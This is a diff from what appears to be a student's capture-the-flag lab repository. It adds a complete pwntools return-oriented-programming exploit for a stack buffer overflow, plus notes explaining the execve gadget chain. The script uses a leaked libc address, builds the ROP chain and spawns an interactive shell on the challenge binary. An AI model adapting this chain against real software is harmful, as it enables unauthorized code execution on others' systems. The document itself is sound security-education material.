lab 4c.1 - return oriented programming

4c.1/lab4c_1.py

@@ -0,0 +1,108 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+# This exploit template was generated via:
+# $ pwn template /challenge/run
+from pwn import *
+
+# Set up pwntools for the correct architecture
+exe = context.binary = ELF(args.EXE or '/challenge/run')
+
+# Many built-in settings can be controlled on the command-line and show up
+# in "args".  For example, to dump all data sent/received, and disable ASLR
+# for all created processes...
+# ./exploit.py DEBUG NOASLR
+
+
+
+def start(argv=[], *a, **kw):
+    '''Start the exploit against the target.'''
+    if args.GDB:
+        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
+    else:
+        return process([exe.path] + argv, *a, **kw)
+
+# Specify your GDB script here for debugging
+# GDB will be launched if the exploit is run via e.g.
+# ./exploit.py GDB
+gdbscript = '''
+tbreak main
+continue
+'''.format(**locals())
+
+#===========================================================
+#                    EXPLOIT GOES HERE
+#===========================================================
+# Arch:     amd64-64-little
+# RELRO:    No RELRO
+# Stack:    No canary found
+# NX:       NX enabled
+# PIE:      No PIE (0x400000)
+
+io = start()
+
+# first, libc address is provided
+io.recvuntil(b"at: ")
+libc_addr = int(io.recvline().strip(), 16)
+print("Libc is at:", libc_addr)
+
+# now, load libc
+libc_elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
+libc_rop = ROP(libc_elf)
+
+## 1.1 find string - /bin/sh
+bin_sh = next(libc_elf.search(b"/bin/sh")) # relative position
+bin_sh += libc_addr # absolute address
+
+## 1.2 pop rdi, ret
+# libc_rop.rdi = 0x0
+pop_rdi_gadget = libc_rop.find_gadget(['pop rdi', 'ret'])[0] # this address is relative to libc start
+pop_rdi_gadget += libc_addr
+
+## 2.1 zero can be loaded onto stack directly (? null byte?)
+
+## 2.2 pop rdx, ret
+# pop_rdx_gadget = libc_rop.find_gadget(['pop rdx', 'ret'])[0]
+## exact gadget not found, just let pwn work its magic
+## finds a gadget with an added pop r12, inconsequential
+# libc_rop.rdx = 0x0
+## so lets just assume we use this
+pop_rdx_gadget = libc_rop.find_gadget(['pop rdx', 'pop r12', 'ret'])[0]
+pop_rdx_gadget += libc_addr
+
+## 3.1 zero can be loaded onto stack directly (? null byte?)
+
+## 3.2 pop rsi, ret
+# libc_rop.rsi = 0x0
+pop_rsi_gadget = libc_rop.find_gadget(['pop rsi', 'ret'])[0]
+pop_rsi_gadget += libc_addr
+
+## 4.1 0x3b can be loaded onto stack directly
+
+## 4.2 pop rax, ret
+# libc_rop.rax = 0x3b
+pop_rax_gadget = libc_rop.find_gadget(['pop rax', 'ret'])[0]
+pop_rax_gadget += libc_addr
+
+## 5. syscall
+syscall_gadget = libc_rop.find_gadget(['syscall'])[0]
+syscall_gadget += libc_addr
+
+# print(libc_rop.dump())
+
+# payload padding
+unbound_buffer = 0x7fffa6d1e910
+saved_rip = 0x7fffa6d1e958
+offset = saved_rip-unbound_buffer
+payload_padding = b'F' * offset # pad until saved_rip
+
+payload = payload_padding + \
+    p64(pop_rdi_gadget) + p64(bin_sh) + \
+    p64(pop_rdx_gadget) + p64(0) + p64(0) + \
+    p64(pop_rsi_gadget) + p64(0) + \
+    p64(pop_rax_gadget) + p64(0x3b) + \
+    p64(syscall_gadget)
+
+io.send(payload)
+
+# root shell obtained
+io.interactive()

Dojo Notes.md

@@ -491,3 +491,20 @@ done
 - so we need to put our shellcode after this saved RIP's location
 - that way, when the current function returns into the target function, the target function's RSP will point to the shellcode
 - boom
+
+### lab 4c.1 - rop
+
+- buffer overflow vuln, but NX is enabled on stack
+- ROP time
+- we need:
+  - location of a string "/bin/sh" in rdi (path)
+  - 0 in rdx (argv)
+  - 0 in rsi (envp)
+  - 0x3b in rax (execve)
+  - finally run syscall
+- ASLR is enabled, but program gives us the address of libc
+- from pwn, we have ROP(ELF(libc.so path)) to get ROP gadgets from libc
+  - other tools exist, like ROPGadget.py, one_gadget, ropium
+- find necessary gadgets and args
+  - some might not exist in the exact form required, maybe some baggage is attached, or a roundabout way is needed (xor instead of directly loading, etc)
+- boom